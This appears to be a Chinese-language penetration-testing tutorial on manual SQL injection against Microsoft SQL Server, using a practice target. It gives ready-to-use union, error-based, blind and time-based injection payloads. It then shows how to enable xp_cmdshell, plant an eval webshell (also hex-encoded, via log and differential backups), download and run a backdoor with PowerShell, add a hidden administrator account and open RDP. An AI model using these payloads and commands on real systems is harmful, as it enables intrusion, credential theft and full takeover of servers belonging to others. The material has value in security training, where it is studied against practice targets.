1. 程式人生 > 資料庫 >Microsoft SQL Server手注

Microsoft SQL Server手注

Microsoft SQL Server手注之聯合查詢注入

Mssql資料庫測試環境搭建

完整安裝SQL Server 2008資料庫

Mssql資料庫的補充介紹

判斷是否為Mssql資料庫

and exists(select * from sysobjects) --

許可權介紹

sa許可權:資料庫操作,⽂件管理,命令執行,登錄檔讀取等 system
db許可權:⽂件管理,資料庫操作等 users-adminstrators
public許可權:資料庫操作 guest-users

判斷許可權的語句

and 1=(select is_srvrolemember('sysadmin')) //判斷是否是系統管理員
and 1=(select is_srvrolemember('db_owner')) //判斷是否是庫許可權
and 1=(select is_srvrolemember('public')) //判斷是否為public許可權

呼叫資料庫的程式碼

<%
set conn =server.createobject("adodb.connection")
conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>

注入流程

1.判斷注入
2.欄位長度
3.尋找字元型顯位
id=-2 union all select 1,2,3,4..
4.查詢基本資訊
1.@@version- 獲取版本資訊;
2.db_name() -資料庫名字
3.user,system_user,current_user,user_name – 獲取當前使用者名稱

4.@@SERVERNAME – 獲取有關伺服器主機的資訊。
5.查詢表名
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u','3',4 ——xtype='u' 是指我們人工建立的意思,排除干擾項,top1是找第一個名字
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4 ——name不在’manage‘範圍內
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),'3',4 ——以此追加
6.獲取列名
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null —— col_name列名
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null
7.獲取資料
new_list.asp?id=-2 union all select null,username, password ,null from manage

Microsoft SQL Server手注之報錯注入

convert()函式

CONVERT() 函式是把⽇期轉換為新資料型別的通用函式。

語法

CONVERT(data_type(length),data_to_be_converted,style)
data_type(length) 規定⽬標資料型別(帶有可選的長度)。
data_to_be_converted 含有需要轉換的值。
style 規定⽇期/時間的輸出格式。

⽰例

CONVERT(VARCHAR(19),GETDATE())
CONVERT(VARCHAR(10),GETDATE(),110)
CONVERT(VARCHAR(11),GETDATE(),106)
CONVERT(VARCHAR(24),GETDATE(),113)

原理

對於convert(int,@@version),convert函式⾸先會執行第⼆個引數指定的SQL查詢,然後嘗試將查詢結果轉換為int型別。但是,由於這個SQL查詢的結果是varchar型別,⽆法進行指定的轉換,所以,convert函式會丟擲⼀個SQL server錯誤訊息,指出“SQL查詢結果”⽆法轉換為“int”型別,這樣的話,攻擊者就能得到的這個SQL查詢的結果了。
滿足條件的函式還有很多

convert()
file_name()
db_name()
col_name()
filegroup_name()
object_name()
schema_name()
type_name()
cast()

注入流程

1.查詢基本資訊

convert(int,@@version) - 獲取版本資訊
convert(int,db_name()) -資料庫名字
convert(int,user) -當前使用者名稱
convert(int,@@SERVERNAME)– 獲取有關伺服器主機的資訊

2.獲取當前資料庫的表名

CONVERT(int,(select top 1 table_name from information_schema.columns))

3.獲取列名

convert(int,(select top 1 COLUMN_NAME from information_schema.columns whereTABLE_NAME=cast(16進位制的表名 as varchar)))

4.獲取資料

convert(int,(select top 1 name 列名 from 表名))

Microsoft SQL Server手注之布林型注入

盲注

1.判斷是否存在注入

'
and 1=1
and 1=2

2.猜測資料庫名

and exists(select top 1 name from Master..SysDatabases where unicode(substring(name,1,1))=109)
and exists(select top 1 name from Master..SysDatabases where unicode(substring(name,2,1))=111)
.......
and exists(select top 1 name from Master..SysDatabases where unicode(substring(name,1,1))=111 and name not in ('mozhe_db_v2.dbo.sysobjects'))

3.猜解表名

and exists(select top 1 name from mozhe_db_v2.dbo.sysobjects where unicode(substring(name,1,1))=109)
and exists(select top 1 name from mozhe_db_v2.dbo.sysobjects where unicode(substring(name,1,1))=109 and name not in ('manage'))

4.猜解列名

and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'manage') and unicode(substring(name,1,1))=117)

5.逐字猜解資料

and exists(select id from manage where unicode(substring(username,1,1))=97 and ID=1)
and exists(select id from manage where unicode(substring(username,2,1))=100 and ID=1)
and exists(select id from manage where unicode(substring(username,3,1))=109 and ID=1)
and exists(select id from manage where unicode(substring(username,4,1))=105 and ID=1)
and exists(select id from manage where unicode(substring(username,5,1))=110 and ID=1)
and exists(select id from manage where unicode(substring(username,6,1))=95 and ID=1)
and exists(select id from manage where unicode(substring(username,7,1))=109 and ID=1)
and exists(select id from manage where unicode(substring(username,8,1))=122 and ID=1)
and exists(select id from manage where unicode(substring(password,1,1))=55 and ID=1)
and exists(select id from manage where unicode(substring(password,2,1))=50 and ID=1)
and exists(select id from manage where unicode(substring(password,3,1))=101 and ID=1)
and exists(select id from manage where unicode(substring(password,4,1))=49 and ID=1)
and exists(select id from manage where unicode(substring(password,5,1))=98 and ID=1)
and exists(select id from manage where unicode(substring(password,6,1))=102 and ID=1)
and exists(select id from manage where unicode(substring(password,7,1))=99 and ID=1)
and exists(select id from manage where unicode(substring(password,8,1))=51 and ID=1)
and exists(select id from manage where unicode(substring(password,9,1))=102 and ID=1)
and exists(select id from manage where unicode(substring(password,10,1))=48 and ID=1)
and exists(select id from manage where unicode(substring(password,11,1))=49 and ID=1)
and exists(select id from manage where unicode(substring(password,12,1))=98 and ID=1)
and exists(select id from manage where unicode(substring(password,13,1))=55 and ID=1)
and exists(select id from manage where unicode(substring(password,14,1))=53 and ID=1)
and exists(select id from manage where unicode(substring(password,15,1))=56 and ID=1)
and exists(select id from manage where unicode(substring(password,16,1))=51 and ID=1)

最後得到的username值是:admin_mz
最後得到的password值是:72e1bfc3f01b7583
解密:97285101

Microsoft SQL Server手注之延時型注入

延時函式 WAITFOR DELAY

WAITFOR是SQL Server中Transact-SQL提供的⼀個流程控制語句。它的作用就是等待特定時間,然後繼續執行後續的語句。它包含⼀個引數DELAY,用來指定等待的時間。如果將該語句成功注入後,會造成資料庫返回記錄和Web請求也會響應延遲特定的時間。由於該語句不涉及條件判斷等情況,所以容易注入成功。根據Web請求是否有延遲,滲透測試⼈員就可以判斷網站是否存在注入漏洞。同時,由於該語句並不返回特定內容,所以它也是盲注的重要檢測⽅法。

語法

WAITFOR DELAY '0:0:n'

⽰例

WAITFOR DELAY '0:0:4' -- 表⽰延遲4秒

IF exists ()子句

語法
IF exists () WAITFOR DELAY '0:0:5'

注入流程

1.判斷是否存在注入
WAITFOR DELAY '0:0:4'
2.猜測資料庫名
IF exists (select top 1 name from Master..SysDatabases where unicode(substring(name,1,1))=109) WAITFOR DELAY '0:0:5'--
3.猜解表名
IF exists (select top 1 table_name from information_schema.columns where unicode(substring(table_name,1,1))=109) WAITFOR DELAY '0:0:5'--
4.猜解列名
IF exists (select top 1 name from syscolumns where id =(select id from sysobjects where name = '表名') and unicode(substring(name,1,1))=117) WAITFOR DELAY '0:0:5'--
5.逐字猜解資料
IF exists (select id from 表名 where unicode(substring(列名1,1,1))=97 and ID=1) WAITFOR DELAY '0:0:5'--
IF exists (select id from 表名 where unicode(substring(列名2,1,1))=55 and ID=1) WAITFOR DELAY '0:0:5'--

MSSQL手注之Sa許可權多種處理姿勢

MSSQL全稱: Microsoft SQL Server
sa全稱: sysadmin
3個許可權: sysadmin \ db_owner \ public
sa許可權:資料庫操作,⽂件管理,命令執行,登錄檔讀取等 sysadmin/system
db許可權:⽂件管理,資料庫操作等 users-adminstrators
public許可權:資料庫操作 guest-users

拿下許可權

寫webshell

會有waf,可能會被攔截 這些指令碼檔案

低許可權下也可以寫,只要是寫許可權(做一些寫入普通檔案等等)
  • 有回顯,想要回顯,就要把執行結果寫到表⾥⾯,然後讀取表的內容即可。
  • ⽆回顯
測試流程操作
1.找到注入點,測試注入點(爆出目錄)
admin2'
2.判斷許可權
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判斷是否是系統管理員
admin1' and 1=(select IS_SRVROLEMEMBER('sysadmin'))  and '1'='1
3.嘗試去測試執行命令
資料庫的擴充套件儲存過程:exec master..xp_cmdshell ——可以用來做一些資料操作
admin2'; exec master..xp_cmdshell "whoami" --
發現不成功,可能是該語句沒有成功執行
可以測試 使用ping 路徑 語句
ping -n 1 www.baidu.com
ping -n 10 www.baidu.com
admin2'; exec master..xp_cmdshell "ping -n 10 www.baidu.com" --  ——很快結束,說明儲存過程被禁用了,那麼啟動儲存過程即可
開啟 (儲存過程)
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
然後在進行ping測試,確認是否啟動
這時可把一句話木馬寫入
<%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>
admin2'; exec master..xp_cmdshell "<%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>" --
echo 需要轉義 在每個符號前加^ ,括號不用
admin2'; exec master..xp_cmdshell 'echo ^<^%^@ Page Language^=^"Jscript^"^%^>^<^%eval(Request.Item^[^"value^",^"unsafe^"^]);^%^>  >  c:/1.aspx(網站路徑)' --

  • 爆出路徑
  • 沒有爆出路徑 ——或木馬不面殺,正向反向木馬連不上

下載 執行 反向 遠端控制 服務端

  • certutil //windows 2003 /xp 測試失敗
  • bitsadmin //win 7/2008
  • powershell //win 7/2008
powershell -exec bypass -c (new-object
System.Net.Webclient).DownloadFile('http://192.168.0.1/1.exe,'c:\windows\temp\1.exe'
)
  • vbs

測試流程操作
https://www.cnblogs.com/chenjiaxin--007/p/8658419.html    Python 一句命令啟動一個web伺服器
如果是python 2.x的系列裡面 這樣啟動一個web伺服器:
python -m SimpleHTTPServer 8080
如果是Python 3,用下面的語句也可以啟動一個http服務:
python3 -m http.server 8000 
在伺服器上使用msf製作後門程式碼 a.exe
通過certutil 語句去下載 a.exe,然後執行

bitsadmin 該語句使用,可能會出現碟符找不到的問題
%APPDATA% ——> C:\Users\Administrator\AppData\Roaming
所以下載的時候儘量不要使用具有歧義的目標路徑,最好指定一個一定存在的目錄
如不報出目錄可寫到,c:\users\public 下

新增使用者

當前許可權是有新增使用者的許可權,需要administrator或system;在外網;可以連線;
net user dark dark5.net123 /add  新增使用者 dark
net localgroup administrators dark /add  把該dark使用者新增到administrators組
有可能還是不能遠端登入,需要把其加入遠端桌面管理組 (有可能該組名會被更改,這時需要讀取表名net localgroup  ,然後找到該組,進行新增)
net localgroup "Remote Management Users" dark /add
admin2'; exec master..xp_cmdshell "net localgroup administrators dark /add" -- 
連不上 可能埠未開啟
開啟3389埠
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
admin2'; exec master..xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' -- 
有可能 開啟埠也連不上 是防火牆問題,關閉防火牆操作要慎重,因為可能關閉了就會通知管理員

net user dark /del 刪除使用者
  • 防護軟體不給連線
  • 防火牆開啟
  • 不給新增使用者

MSSQL⼿注之db_owner許可權處理

MSSQL全稱: Microsoft SQL Server
3個許可權: sysadmin \ db_owner \ public

許可權判斷

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判斷是否是系統管理員
and 1=(Select IS_MEMBER('db_owner')) //判斷是否是庫許可權
and 1=(Select IS_MEMBER('public'))

在沒有waf下執行

Getshell前提

DB_owner許可權
得到 ⽹站物理路徑 也稱之為:⽹站絕對路徑

Getshell姿勢

方法一:Log備份Getshell

;alter database test set RECOVERY FULL--    ——設定資料庫RECOVERY FULL模式
;create table cmd (a image)--   ——建立表(先刪除,防止已有)
;backup log test to disk = 'c:/1.bak' with init--  ——備份到C
;insert into cmd (a) values ('<%@ Page Language="Jscript"%>%eval(Request.Item["hackdog"],"unsafe");%>')--  ——插入一句話資料 (可把一句話進行hex編碼放入)
;backup log test to disk = 'C:/Users/Administrator/Desktop/wwwroot/xf.aspx'--  ——備份到網站路徑
;drop table cmd-- ——先刪除

執行有問題...

方法二:差異備份Getshell

;drop table cmd-- ——先刪除(清除環境)
1⾸先完整備份⼀次(c:\ddd.bak為所備份未見)
backup database 庫名 to disk = 'c:\ddd.bak';--
2.建立表並插曲⼊資料
create table [dbo].[dtest] ([cmd] [image]);insert into dtest(cmd) values(0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c285265717
56573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e);--
3.進⾏差異備份
backup database 庫名 to disk='⽬標位置(網站路徑)\d.asp' WITH DIFFERENTIAL,FORMAT;--
上⾯
0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c28526571756573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e
就是經過hex的⼀句話⽊馬的內容:<%@ Page Language="Jscript"%>
<%eval(Request.Item["hackdog"],"unsafe");%>


----------


<%@ Page Language="Jscript"%><%eval(Request.Item["hackdog"],"unsafe");%>
admin2' aNd 1=1 aNd '1'='1
c:\Users\Administrator\desktop\l\default.aspx.cs:503
admin2';alter database test set RECOVERY FULL--
admin2';drop table cmd;--
admin2';create table cmd (a image);backup log test to disk = 'c:/x.bak' with init;insert into cmd (a) values(0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c28526571756573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e)--
admin2';backup log test to disk = 'c:\Users\Administrator\desktop\l\darkxx.aspx'--

admin2';backup database test to disk = 'c:\x.bak';create table [dbo].[cmd] ([colu][image]);insert into cmd(colu) values(0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c28526571756573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e);--
admin2';backup database test to disk='c:\Users\Administrator\desktop\l\d2.aspx' WITHDIFFERENTIAL,FORMAT;--
admin2';drop table dtest--